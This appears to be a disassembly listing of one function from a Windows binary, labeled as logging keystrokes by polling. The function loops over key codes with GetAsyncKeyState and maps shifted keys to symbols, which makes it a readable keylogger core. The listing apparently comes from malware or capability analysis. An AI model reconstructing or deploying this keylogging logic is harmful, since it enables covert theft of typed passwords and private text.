Function at 0x140005770
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x2a8
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rsp + 0x290], rax
xor eax, eax
mov dword [rsp + 0x40], 1
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
lea rcx, [rsp + 0x60]
call fcn.140002ab0
lea rcx, [rsp + 0x60]
call fcn.140003360
mov r8d, 0x104
lea rdx, [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x20]
call fcn.140006c60
lea rcx, [rsp + 0x20]
call fcn.140002800
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x14000583a
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005835
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005835
call fcn.14001797c
int3
call fcn.14000f2b0
mov qword [rsp + 0x2b0], rbx
mov qword [rsp + 0x2b8], rbp
mov ebp, 0xffff8001
mov qword [rsp + 0x2c0], rsi
lea rsi, [0x140000000]
mov qword [rsp + 0x2a0], rdi
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, bp
jne 0x140005a14
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, ebx
movzx edi, ax
call fcn.140004df0
test al, al
jne 0x1400059fb
lea ecx, [rbx - 0x41]
cmp ecx, 0x19
ja 0x1400058c8
test di, di
jne case.0x140005987.6
lea r8d, [rbx + 0x20]
jmp 0x1400059ab
lea eax, [rbx - 0x30]
cmp eax, 9
ja 0x140005931
test di, di
je case.0x140005987.6
cdqe
mov ecx, dword [rsi + rax*4 + 0x5a4c]
add rcx, rsi
jmp rcx
mov r8b, 0x21
jmp 0x1400059ab
mov r8b, 0x40
jmp 0x1400059ab
mov r8b, 0x23
jmp 0x1400059ab
mov r8b, 0x24
jmp 0x1400059ab
mov r8b, 0x25
jmp 0x1400059ab
mov r8b, 0x5e
jmp 0x1400059ab
mov r8b, 0x26
jmp 0x1400059ab
mov r8b, 0x2a
jmp 0x1400059ab
mov r8b, 0x28
jmp 0x1400059ab
mov r8b, 0x29
jmp 0x1400059ab
lea eax, [rbx - 0xba]
cmp eax, 0x24
ja case.0x140005987.6
cdqe
test di, di
je 0x140005975
movzx eax, byte [rsi + rax + 0x5a90]
mov ecx, dword [rsi + rax*4 + 0x5a74]
add rcx, rsi
jmp rcx
mov r8b, 0x3a
jmp 0x1400059ab
mov r8b, 0x3f
jmp 0x1400059ab
mov r8b, 0x7e
jmp 0x1400059ab
mov r8b, 0x7b
jmp 0x1400059ab
mov r8b, 0x7c
jmp 0x1400059ab
mov r8b, 0x22
jmp 0x1400059ab
movzx eax, byte [rsi + rax + 0x5ad4]
mov ecx, dword [rsi + rax*4 + 0x5ab8]
add rcx, rsi
jmp rcx
mov r8b, 0x3b
jmp 0x1400059ab
mov r8b, 0x2f
jmp 0x1400059ab
mov r8b, 0x60
jmp 0x1400059ab
mov r8b, 0x5b
jmp 0x1400059ab
mov r8b, 0x5c
jmp 0x1400059ab
mov r8b, 0x27
jmp 0x1400059ab
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.140006e00
mov rcx, rax
call fcn.140003940
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400059fb
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059f6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a27
call fcn.14000f2b0
cmp ebx, 0x57
jne 0x140005a14
call fcn.140003a30
mov rcx, rax
call fcn.140003c80
inc ebx
jmp 0x140005880
inc ebx
cmp ebx, 0xbe
jle 0x140005880
jmp 0x140005870
call fcn.14001797c
mov rdi, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x2c0]
mov rbp, qword [rsp + 0x2b8]
mov rbx, qword [rsp + 0x2b0]
sub al, 0x59
add byte [rax], al
out 0x58, eax
add byte [rax], al
out dx, eax
pop rax
add byte [rax], al
neg dword [rax]
add bh, bh
pop rax
add byte [rax], al
invalid